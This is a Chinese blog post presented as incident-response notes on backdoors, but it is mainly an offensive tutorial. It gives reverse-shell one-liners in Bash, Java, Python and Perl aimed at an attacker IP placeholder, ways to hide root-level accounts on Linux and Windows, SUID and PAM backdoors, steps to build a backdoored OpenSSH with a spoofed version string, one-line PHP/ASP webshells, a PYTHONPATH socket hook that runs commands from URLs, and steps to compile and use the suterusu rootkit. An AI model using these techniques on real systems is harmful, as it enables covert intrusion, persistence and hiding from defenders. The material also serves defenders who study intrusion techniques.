安全应急之后门篇

Author Avatar
xF0rk 10月 04, 2018

后门是一种绕过认证或系统加密的方法,开发人员会出于某原因,可能为自己的程序构建后门程序。例如,为了提供简单的维护,开发人员引入了一个后门,可以恢复设备厂商的默认密码;同时攻击者也会将后门种植到有漏洞的服务器来接管服务器,执行攻击和上传恶意payload。

后门简介

反弹 SHELL 技术

当目标系统为 LINUX 时,反弹 SHELL 在漏洞证明、利用中是一个有效的手段。可在目标机器执行 bash -i >& /dev/tcp/[攻击者IP]/[攻击者端口] 0>&1 反弹 SHELL。

bash -i 用于创建一个交互式 BASH;>& /dev/tcp/[攻击者IP]/[攻击者端口] 建立 TCP 连接,将标准输出和错误输出重定向到 TCP 连接;0>&1 用于从 TCP 连接获取输入并传入到 BASH。

如下所示为一个 BASH 语言实现的反弹 SHELL 示例,攻击者外网机器执行命令nc -l [攻击端口],获取 TCP 连接后可直接执行命令

反弹 SHELL 可在目标机器使用 NC 监听端口,可利用常规服务端口 80、8080 等用来绕过可能存在的外部防火墙的网络控制策略。

BASH 语言

0<&196;exec 196<>/dev/tcp/[攻击者IP]/[攻击者端口]; sh <&196 >&196 2>&196

JAVA 语言

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[攻击者IP]/[攻击者端口];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

PYTHON 语言

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[攻击者IP]",[攻击者端口]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PERL 语言

perl -e 'use Socket;$i="[攻击者IP]";$p=[攻击者端口];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

反弹 SHELL 持久化

如下图,根据 MITRE 攻击矩阵,反弹 SHELL 可持久化在.bash_profile.bashrc、启动服务、浏览器插件、HOOK 操作、登录启动脚本等系统功能模块中。

隐藏系统用户

LINUX 隐藏高权限账号

LINUX 中隐藏高全权限用户可直接编辑 /etc/passwd 文件,将文件中指定用户 UID 和 GID 值修改为 0

如下所示,可直接隐藏用户权限为 root 权限和用户组

WINDOWS 用户隐藏

修改注册表 HKEY_LOCAL_MACHINE\SAM\SAM\ 权限为管理员完全控制,如下图所示

新建特殊账户,无法通过 net user查看到用户

用户名以 $ 结尾的通过 net user 无法查看到指定用户,但可在控制面板查看用户

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 中查找新建用户 xf0rk$ 默认类型为 0x3ea,将注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\xf0rk$ 导出为 1.reg

在注册表查找 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA 导出为 2.reg,将 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 导出为 3.reg,将注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA 下键 F 的值替换为 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 下键 F 的值,如下图所示

命令行删除特殊账户 net user xf0rk$ /del,导入 1.reg2.reg 注册表文件,此时无法通过 net user 查看该账户,也无法在控制面板中看到该账户,但可通过 net user xf0rk$ 查看用户信息

SUID 权限隐藏

SUID 是 Linux 的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限,如果拥有 SUID 权限,那么就可以利用系统中的二进制文件和工具来进行 ROOT 提权。

如下文件名为 ... ( 可通过创建 ...... 相近的文件名来干扰管理员排查后门 ),权限为 -rwsr-xr-x,说明普通用户执行该文件时可获得文件拥有者 root 权限。以当前用户 xf0rk 执行命令 useradd test 发现用户权限过低无法创建用户,通过执行 ... 文件提权后执行 useradd test 成功创建用户。

LINUX PAM 后门

LINUX PAM 简介

Linux-PAM (linux可插入认证模块)是一套共享库,使本地系统管理员可以方便配置程序的认证方式,即可不用重新编译一个包含 PAM 功能的应用程序就改变它使用的认证机制。PAM使用配置 /etc/pam.d/ 下的文件来管理认证方式,应用程序调用相应的配置文件,以加载动态库的形式调用 /lib/security 下的模块。

PAM 配置可分为四个参数 模块类型 控制标记 模块路径 模块参数,例如 session required pam_selinux.so open

PAM 模块类型包含 auth(认证管理)、account(账号管理)、session(会话管理)、password(密码管理)四种:

模块类型 说明
auth 用户身份识别,如提示输入密码、判断是否为 root 等
account 对账号的各项属性进行检查,如是否允许登录、是否达到最大用户数、判断 root 用户是否允许终端登录等
session 定义用户登录前及用户退出后所需要进行的操作,如登录连接信息、用户数据打开、挂载文件系统等
password 使用用户信息来更新,如修改用户密码

PAM 的控制标记来处理和判断各模块的返回值

控制标记 说明
required 若成功,继续检查下一个模块并取决于其他模块;若失败,则停止并返回失败
requisite 若成功,继续检查下一个模块并取决于其他模块;若失败,继续检查下一个模块,并返回失败
sufficient 若成功,则停止并返回成功;若失败,继续检查下一个模块并取决于其他模块
optional 若成功,则继续检查下一个并取决于其他模块,若失败,继续检查下一个模块,并取决于其他模块
include 无关,执行包含文件中的验证,取决于其他模块

PAM 模块路径指要调用的模块位置,同一个模块可以出现在不同的类型中,不同的类型所执行的操作都不相同,模块参数即传递给模块的参数,参数之间用空格分隔开。

PAM LISTFILE 模块后门

PAM 中模块 pam_listfile.so,允许保存在/tmp/users 中的用户登录,其中 users 文件中的用户名为 root 即只要是 root 用户(sufficient 控制标记,匹配存在则可直接返回成功)均可以直接登录。

PAM ROOTOK 模块后门

PAM 中模块 rootok.so,使 uid 为 0 的用户( root )能够直接通过认证而不用输入密码,系统文件 /etc/pam.d/su 中默认存在 auth sufficient pam_rootok.so 即 root 用户可以不输密码执行 su 命令。当通过将 sshd 软链到文件名为 su 的文件时,执行 su 文件会加载 pam_rootok.so 模块,此时若使用 root 用户登录,则可免密直接登录成功。

root 用户可任意密码可直接登录系统,执行任意命令

LINUX SSH 后门

LINUX SSH 后门通过编译 PATCH 到原 SSH 应用,来生成 SSH 后门 下载文件,具体步骤如下所示

tar zxvf openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/   复制patch后门文件到正常openssh里面
patch < sshbd5.9p1.diff

修改后门密码和文件记录,如下图所示

修改版本为目标机器 SSH 版本,字段为 SSH_VERSION

[email protected] openssh-5.9p1# vim version.h
#define SSH_VERSION "OpenSSH_5.3p1"
#define SSH_PORTABLE "p1"
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE

安装编译依赖包并编译安装

yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

yum install -y zlib zlib-devel    //  http://sourceforge.net/projects/libpng/files/zlib/1.2.3/zlib-1.2.3.tar.gz/download


make && make install

重启 SSH 服务即可,service sshd restart

WebShell 后门

WebShell 是 Web 服务器上的管理工具,可以对 Web 服务器进行网站管理、服务器管理,可管理服务器文件、查看数据库等。攻击者可利用 Web 漏洞上传 WenShell 到 Web 服务器的页面目录下,通过直接访问上传文件进行入侵、保留权限等。

WebShell 根据功能分为大马、小马,小马通常指一句话木马,如下所示

PHP   <?php @eval($_POST['pass']);?>
ASP   <%eval request("pass")%>
ASP.NET   <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

通过中国菜刀连接到已成功上传的小马,可进行服务器文件管理,如下为操作文件和执行命令

第三方依赖库后门

如下图,在 Python 默认 string 库中嵌入式恶意代码,代码 import string 操作时可触发一段恶意代码

隐藏在 PYTHONPATH 的后门处于 Python 解释器和 OS/Kernel 之间,通常通过 import x 查找顺序为:当前目录 -> PYTHONPATH 环境变量 -> 默认 Python 库目录,如下图所示

基于 Django 框架开发的测试网站,其 urls.py 文件中路由配置如下所示,其仅包含根目录和admin目录两个目录

from django.conf.urls import url
from django.contrib import admin

urlpatterns = [
    url(r'^admin/', admin.site.urls),
]

如下代码,利用 PYTHONPATH 重载了socket.py 模块,实现访问所有 URL 链接添加 cmd 参数,则可直接执行命令

def _hook_readline(self, *args, **kwargs):
        retval = object.__getattribute__(self, 'readline')(*args, **kwargs)
        if retval.startswith('GET /?cmd='):
            (verb, url, version) = retval.split(' ')
            self.__outputs__.put(os.popen(urllib.unquote_plus(url[6:])).read())
        return retval

如下为通过引入 ?cmd=ifconfig 来执行 ifcnfig 命令

ROOTKIT 后门

ROOTKIT 是使不法用户具有系统超级管理权限,并能隐藏自身入侵系统的信息,来实现长期权限控制的工具集。ROOKIT 根据工作层次可分为用户级、内核级、芯片虚拟化级三层,用户级可划分为对 Linux 输出结果进行封装和替换 Linux 命令型的 ROOKIT;内核级有效劫持系统调用输出的 ROOKIT,包括利用 LKM 动态修改内核、替换 SYS_CALL 实现劫持、工作在 VFS 利用 Hook 文件系统的 file_open 操作;芯片级即集成到 Intel 或 AMD 芯片中的 ROOKIT。

下面将展示如何编译和使用 suterusu ROOKIT 下载地址

[[email protected] suterusu]# yum install kernel-devel
Failed to set locale, defaulting to C
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 * base: mirrors.163.com
 * epel: fedora.cs.nctu.edu.tw
 * extras: mirrors.163.com
 * updates: mirrors.cn99.com
Package kernel-devel-3.10.0-862.14.4.el7.x86_64 already installed and latest version
Nothing to do
[[email protected] suterusu]# ls /usr/src/kernels/3.10.0-862.14.4.el7.x86_64/
Kconfig   Makefile.qlock  System.map  block   drivers   fs       init  kernel  mm   samples  security  tools  virt
Makefile  Module.symvers  arch        crypto  firmware  include  ipc   lib     net  scripts  sound     usr    vmlinux.id
[[email protected] suterusu]#

编译内核模块

[[email protected] suterusu]# make linux-x86 KDIR=/usr/src/kernels/3.10.0-862.14.4.el7.x86_64/
make ARCH=x86 EXTRA_CFLAGS="-D_CONFIG_X86_ " -C /usr/src/kernels/3.10.0-862.14.4.el7.x86_64/ M=/tmp/suterusu modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-862.14.4.el7.x86_64'
  CC [M]  /tmp/suterusu/main.o
  CC [M]  /tmp/suterusu/util.o
  CC [M]  /tmp/suterusu/module.o
  LD [M]  /tmp/suterusu/suterusu.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /tmp/suterusu/suterusu.mod.o
  LD [M]  /tmp/suterusu/suterusu.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-862.14.4.el7.x86_64'
[[email protected] suterusu]# ls |grep suterusu.ko
suterusu.ko
[[email protected] suterusu]#

安装内核模块

insmod suterusu.ko

编译用户态应用

[[email protected] suterusu]# gcc sock.c -o sock
sock.c: In function 'main':
sock.c:205:40: warning: incompatible implicit declaration of built-in function 'strlen' [enabled by default]
                 rk_file_args.namelen = strlen(name);
                                        ^
sock.c:220:40: warning: incompatible implicit declaration of built-in function 'strlen' [enabled by default]
                 rk_file_args.namelen = strlen(name);
                                        ^
[[email protected] suterusu]# ls |grep sock
sock

用户态命令参数

./sock 0 获取 ROOT 权限
./sock 1 [PID] 隐藏指定 PID 应用
./sock 2 [PID] 显示指定 PID 应用
./sock 3 [PORT] 隐藏指定 PORT
./sock 4 [PORT] 显示指定 PORT
./sock 11 [name] 隐藏指定文件名或文件夹
./sock 12 [name] 显示指定文件名或文件夹

…… 更多命令参数请参考官方项目文档

如下所示,进行隐藏端口、隐藏进程演示